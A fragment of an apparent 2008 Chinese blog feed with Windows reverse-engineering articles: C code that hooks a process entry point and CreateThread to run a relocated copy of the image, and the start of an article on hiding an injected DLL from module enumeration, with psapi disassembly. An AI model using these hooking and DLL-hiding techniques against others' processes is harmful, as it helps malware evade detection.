<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>else</span></span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DebugOut</span>( <span>TEXT</span>( <span>"Hook ok\r\n"</span>));</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>return</span> <span>TRUE</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span>}</span></p>
<p>&nbsp;</p>
<p><span>//Hook</span><span>的<span>CreateThread</span>里面，重新计算<span>lpStartAddress</span>地址，并按这个地址来创建</span></p>
<p><span>HANDLE</span><span> <span>WINAPI</span> <span>Hook_CreateThread</span>(</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>LPSECURITY_ATTRIBUTES</span> <span>lpThreadAttributes</span>,</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>SIZE_T</span> <span>dwStackSize</span>,</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>LPTHREAD_START_ROUTINE</span> <span>lpStartAddress</span>,</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>LPVOID</span> <span>lpParameter</span>,</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DWORD</span> <span>dwCreationFlags</span>,</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>LPDWORD</span> <span>lpThreadId</span></span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>)</span></p>
<p><span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>PBYTE</span> <span>pfn</span> = (<span>PBYTE</span>)<span>lpStartAddress</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>HMODULE</span> <span>hMod</span> = ::<span>GetModuleHandle</span>( <span>NULL</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>pfn</span> = <span>g_pbyNewImage</span> + (<span>pfn</span> - (<span>PBYTE</span>)<span>hMod</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp; </span><span>HANDLE</span> <span>hThread</span> = <span>g_pCreateThread</span>( <span>lpThreadAttributes</span>, <span>dwStackSize</span>, (<span>LPTHREAD_START_ROUTINE</span>)<span>pfn</span>, <span>lpParameter</span>, <span>dwCreationFlags</span>, <span>lpThreadId</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>return</span> <span>hThread</span>;</span></p>
<p><span>}</span></p>
<p>&nbsp;</p>
<p><span>//Hook</span><span>掉的入口点，恢复旧代码并跳转到新分配的代码空间</span></p>
<p><span>__declspec</span><span>( <span>naked</span> ) <span>VOID</span> <span>Hook_EntryPoint</span>()</span></p>
<p><span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>//_asm int 3</span></span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>for</span> ( <span>DWORD</span> <span>i</span> = 0; <span>i</span> &lt; <span>sizeof</span>(<span>g_abyOldEntry</span>); <span>i</span>++)</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>{<span>//</span></span><span>恢复旧的代码</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>g_pbyOldEntry</span>[<span>i</span>] = <span>g_abyOldEntry</span>[<span>i</span>];</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>_asm</span> <span>jmp</span> <span>g_pbyNewEntry</span>;</span></p>
<p><span>}</span></p>
<p>&nbsp;</p>
<p><span>//Hook</span><span>掉入口点</span></p>
<p><span>VOID</span><span> <span>HookEntryPoint</span>()</span></p>
<p><span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DebugOut</span>( <span>_T</span>( <span>"In HookEntryPoint\r\n"</span>));</span></p>
<p>&nbsp;</p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>HMODULE</span> <span>hMod</span> = ::<span>GetModuleHandle</span>( <span>NULL</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>PIMAGE_DOS_HEADER</span> <span>pstDosHeader</span> = (<span>PIMAGE_DOS_HEADER</span>)<span>hMod</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>PIMAGE_NT_HEADERS</span> <span>pstHeader</span> = (<span>PIMAGE_NT_HEADERS</span>)((<span>PBYTE</span>)<span>hMod</span> + <span>pstDosHeader</span>-&gt;<span>e_lfanew</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DWORD</span> <span>dwEntryRVA</span> = <span>pstHeader</span>-&gt;<span>OptionalHeader</span>.<span>AddressOfEntryPoint</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>PBYTE</span> <span>pbyRVA</span> = (<span>PBYTE</span>)(<span>hMod</span>) + <span>dwEntryRVA</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>PPUSH_RETN</span> <span>pstHook</span> = (<span>PPUSH_RETN</span>)<span>pbyRVA</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>memcpy</span>( <span>g_abyOldEntry</span>, <span>pbyRVA</span>, <span>sizeof</span>(<span>PUSH_RETN</span>));</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>pstHook</span>-&gt;<span>byOpcodePush</span> = 0x68;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>pstHook</span>-&gt;<span>dwRetnAddr</span> = (<span>DWORD</span>)<span>Hook_EntryPoint</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>pstHook</span>-&gt;<span>byOpcodeRetn</span> = 0xC3;</span></p>
<p>&nbsp;</p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>g_pbyOldEntry</span> = <span>pbyRVA</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>g_pbyNewEntry</span> = <span>g_pbyNewImage</span> + <span>dwEntryRVA</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DebugOut</span>( <span>_T</span>(<span>"New image base = 0x%X, New EntryPoint = 0x%X\r\n \</span></span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Old image base = 0x%X, Old EntryPoint = 0x%X\r\n"</span><span>), <span>g_pbyNewImage</span>, <span>g_pbyNewEntry</span>, <span>hMod</span>, <span>g_pbyOldEntry</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DebugOut</span>( <span>_T</span>( <span>"HookEntryPoint OK\r\n"</span>));</span></p>
<p><span>}</span></p>
<p>&nbsp;</p>
<p><span>//</span><span>在<span>DllMain</span>里面<span>Process Attach</span>的时候调用</span></p>
<p><span>VOID</span><span> <span>OnAttachProcess</span>()</span></p>
<p><span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>HMODULE</span> <span>hMod</span> = ::<span>GetModuleHandle</span>( <span>NULL</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DWORD</span> <span>dwSize</span> = <span>GetImageSize</span>();</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>g_pbyNewImage</span> = <span>new</span> <span>BYTE</span>[<span>dwSize</span>];</span></p>
<p>&nbsp;</p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DWORD</span> <span>dwOldProtect</span> = 0;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>VirtualProtect</span>( <span>g_pbyNewImage</span>, <span>dwSize</span>, <span>PAGE_EXECUTE_READWRITE</span>, &amp;<span>dwOldProtect</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>VirtualProtect</span>( (<span>LPVOID</span>)<span>hMod</span>, <span>dwSize</span>, <span>PAGE_READWRITE</span>, &amp;<span>dwOldProtect</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>memcpy</span>( <span>g_pbyNewImage</span>, (<span>LPVOID</span>)<span>hMod</span>, <span>dwSize</span>);</span></p>
<p>&nbsp;</p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>HookEntryPoint</span>();</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>HookThreadCreate</span>();</span></p>
<p><span>}</span></p>
<p>&nbsp;</p>
<p><span>//</span><span>获得主模块映像大小</span></p>
<p><span>DWORD</span><span> <span>GetImageSize</span>()</span></p>
<p><span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>HANDLE</span> <span>hShot</span> = <span>NULL</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>BOOL</span> <span>blResult</span> = <span>FALSE</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>MODULEENTRY32</span> <span>stInfo</span> = {0};</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>stInfo</span>.<span>dwSize</span> = <span>sizeof</span>( <span>MODULEENTRY32</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>TCHAR</span> <span>tszTmp</span>[<span>MAX_PATH</span>] = {0};</span></p>
<p>&nbsp;</p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>::<span>GetModuleFileName</span>( <span>GetModuleHandle</span>(<span>NULL</span>), <span>tszTmp</span>, <span>MAX_PATH</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>_tcslwr</span>( <span>tszTmp</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>size_t</span> <span>s</span> = <span>_tcslen</span>(<span>tszTmp</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>for</span> ( <span>DWORD</span> <span>i</span> = 0; <span>i</span> &lt; <span>s</span>; <span>i</span>++)</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>if</span> ( <span>tszTmp</span>[<span>s</span> - <span>i</span>] == <span>'\\'</span>)</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>s</span> = <span>s</span> - <span>i</span> + 1;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>break</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>hShot</span> = ::<span>CreateToolhelp32Snapshot</span>( <span>TH32CS_SNAPMODULE</span>, ::<span>GetCurrentProcessId</span>());</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>if</span> ( <span>INVALID_HANDLE_VALUE</span> == <span>hShot</span>)</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>DebugOut</span>( <span>_T</span>( <span>"CreateToolhelp32Snapshot fail.Err=%d\r\n"</span>), <span>GetLastError</span>());</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>return</span> 0;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p>&nbsp;</p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>blResult</span> = ::<span>Module32First</span>( <span>hShot</span>, &amp;<span>stInfo</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>while</span> ( <span>blResult</span>)</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>_tcslwr</span>( <span>stInfo</span>.<span>szModule</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>if</span> ( <span>_tcscmp</span>( <span>stInfo</span>.<span>szModule</span>, <span>tszTmp</span> + <span>s</span>) == 0)</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>CloseHandle</span>( <span>hShot</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>return</span> <span>stInfo</span>.<span>modBaseSize</span>;</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>blResult</span> = ::<span>Module32Next</span>( <span>hShot</span>, &amp;<span>stInfo</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>CloseHandle</span>( <span>hShot</span>);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp; </span><span>return</span> 0;</span></p>
<p><span>}</span></p>
<p><span>这种方法对加壳之后的</span><span>exe</span><span>作用有限，因为</span><span>Hook</span><span>的并不是真实的</span><span>OEP</span><span>。这样做常常会造成壳执行过程中，或者跳转到</span><span>OEP</span><span>之后迅速崩溃。本文仅仅是介绍一种思想，有时候巧妙的构思可以使得复杂问题很快得到解决。</span></p>
<img src ="http://www.cnitblog.com/cc682/aggbug/43270.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cc682/" target="_blank">NetRoc</a> 2008-05-04 15:14 <a href="http://www.cnitblog.com/cc682/articles/43270.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>进程中dll模块的隐藏</title><link>http://www.cnitblog.com/cc682/articles/43263.html</link><dc:creator>NetRoc</dc:creator><author>NetRoc</author><pubDate>Sun, 04 May 2008 06:59:00 GMT</pubDate><guid>http://www.cnitblog.com/cc682/articles/43263.html</guid><wfw:comment>http://www.cnitblog.com/cc682/comments/43263.html</wfw:comment><comments>http://www.cnitblog.com/cc682/articles/43263.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/cc682/comments/commentRss/43263.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cc682/services/trackbacks/43263.html</trackback:ping><description><![CDATA[&nbsp;
<p align=center><span>cc682/NetRoc</span></p>
<p align=center><span>&nbsp;<a href="http://netroc682.spaces.live.com/">http://netroc682.spaces.live.com/</a></span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>为了避免自己的某个</span><span>dll</span><span>模块被别人检测出来，有时候希望在自己加载一个</span><span>dll</span><span>之后，或者将</span><span>dll</span><span>注入到他人进程之后避免被检查出来。这就需要想办法抹掉这个</span><span>dll</span><span>的模块信息，使得</span><span>Toolhelp</span><span>、</span><span>psapi</span><span>等枚举模块的</span><span>API</span><span>无法枚举它。</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>我们可以先简单看看</span><span>Windows</span><span>枚举进程内模块的办法吧：</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>首先是</span><span>BOOL EnumProcessModules( HANDLE hProcess, HMODULE* lphModule, DWORD cb, LPDWORD lpcbNeeded);</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>EnumProcessModules</span><span>实际调用</span><span>EnumProcessModulesInternal</span><span>进行枚举。下面是</span><span>vista</span><span>下</span><span>psapi</span><span>的代码片断：</span></p>
<p><span>.text:514024B8<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>push<span>&nbsp;&nbsp;&nbsp; </span>ebx</span></p>
<p><span>.text:514024B9<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>push<span>&nbsp;&nbsp;&nbsp; </span>18h</span></p>
<p><span>.text:514024BB<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>lea<span>&nbsp;&nbsp;&nbsp;&nbsp; </span>eax, [ebp+stProcessBasicInfo]</span></p>
<p><span>.text:514024BE<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>push<span>&nbsp;&nbsp;&nbsp; </span>eax</span></p>
<p><span>.text:514024BF<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>push<span>&nbsp;&nbsp;&nbsp; </span>ebx<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>;ebx=0</span></p>
<p><span>.text:514024C0<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>push<span>&nbsp;&nbsp;&nbsp; </span>[ebp+hProcess]</span></p>
<p><span>.text:514024C3<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>call<span>&nbsp;&nbsp;&nbsp; </span>ds:__imp__NtQueryInformationProcess@20 ; NtQueryInformationProcess(x,x,x,x,x)</span></p>
<p><span>.text:514024C9<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>cmp<span>&nbsp;&nbsp;&nbsp;&nbsp; </span>eax, ebx</span></p>
<p><span>.text:514024CB<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>jge<span>&nbsp;&nbsp;&nbsp;&nbsp; </span>short loc_514024E0</span></p>
<p><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>调用</span><span>NtQueryInformationProcess</span><span>获得</span><span>ProcessBasicInformation</span><span>，在</span><span>PROCESS_BASIC_INFORMATION</span><span>结构中取得</span><span>PEB</span><span>地址。然后读取指定进程</span><span>PEB</span><span>中的数据</span></p>
<p><span>text:514024E0 loc_514024E0:<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>; CODE XREF: EnumProcessModulesInternal(x,x,x,x,x)+24j</span></p>
<p><span>.text:514024E0<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>mov<span>&nbsp;&nbsp;&nbsp;&nbsp; </span>eax, [ebp+stProcessBasicInfo.PebBaseAddress]</span></p>
<p><span>.text:514024E3<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>cmp<span>&nbsp;&nbsp;&nbsp;&nbsp; </span>eax, ebx</span></p>
<p><span>.text:514024E5<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>jnz<span>&nbsp;&nbsp;&nbsp;&nbsp; </span>short loc_514024EE</span></p>
<p><span>.text:514024E7<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>push<span>&nbsp;&nbsp;&nbsp; </span>8000000Dh</span></p>
<p><span>.text:514024EC<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>jmp<span>&nbsp;&nbsp;&nbsp;&nbsp; </span>short loc_514024CE</span></p>
<p><span>.text:514024EE ; ---------------------------------------------------------------------------</span></p>
<p><span>.text:514024EE</span></p>
<p><span>.text:514024EE loc_514024EE:<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>; CODE XREF: EnumProcessModulesInternal(x,x,x,x,x)+3Ej</span></p>
<p><span>.text:514024EE<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>push<span>&nbsp;&nbsp;&nbsp; </span>ebx<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>; lpNumberOfBytesRead</span></p>
<p><span>.text:514024EF<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>push<span>&nbsp;&nbsp;&nbsp; </span>4<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>; nSize</span></p>
<p><span>.text:514024F1<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>lea<span>&nbsp;&nbsp;&nbsp;&nbsp; </span>ecx, [ebp+Ldr]</span></p>
<p><span>.text:514024F4<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>push<span>&nbsp;&nbsp;&nbsp; </span>ecx<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>; lpBuffer</span></p>
<p><span>.text:514024F5<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>add<span>&nbsp;&nbsp;&nbsp;&nbsp; </span>eax, 0Ch</span></p>
<p><span>.text:514024F8<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>push<span>&nbsp;&nbsp;&nbsp; </span>eax<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>; lpBaseAddress</span></p>
<p><span>.text:514024F9<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>push<span>&nbsp;&nbsp;&nbsp; </span>[ebp+hProcess]&nbsp;; hProcess</span></p>
<p><span>.text:514024FC<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>mov<span>&nbsp;&nbsp;&nbsp;&nbsp; </span>edi, ds:__imp__ReadProcessMemory@20 ; ReadProcessMemory(x,x,x,x,x)</span></p>
